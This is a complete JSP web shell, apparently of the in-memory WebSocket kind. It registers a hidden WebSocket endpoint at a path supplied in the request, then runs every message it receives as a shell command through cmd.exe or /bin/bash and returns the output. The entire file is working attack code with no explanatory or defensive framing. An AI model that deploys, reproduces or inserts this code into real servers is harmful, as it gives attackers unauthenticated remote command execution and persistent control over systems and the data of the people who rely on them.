<%@ page import="javax.websocket.server.ServerEndpointConfig" %> <%@ page import="javax.websocket.server.ServerContainer" %> <%@ page import="javax.websocket.*" %> <%@ page import="java.io.*" %> <%! public static class C extends Endpoint implements MessageHandler.Whole { private Session session; @Override public void onMessage(String s) { try { Process process; boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); if (bool) { process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s }); } else { process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s }); } InputStream inputStream = process.getInputStream(); StringBuilder stringBuilder = new StringBuilder(); int i; while ((i = inputStream.read()) != -1) stringBuilder.append((char)i); inputStream.close(); process.waitFor(); session.getBasicRemote().sendText(stringBuilder.toString()); } catch (Exception exception) { exception.printStackTrace(); } } @Override public void onOpen(final Session session, EndpointConfig config) { this.session = session; session.addMessageHandler(this); } } %> <% String path = request.getParameter("path"); ServletContext servletContext = request.getSession().getServletContext(); ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build(); ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); try { if (servletContext.getAttribute(path) == null){ container.addEndpoint(configEndpoint); servletContext.setAttribute(path,path); } out.println("success, connect url path: " + servletContext.getContextPath() + path); } catch (Exception e) { out.println(e.toString()); } %>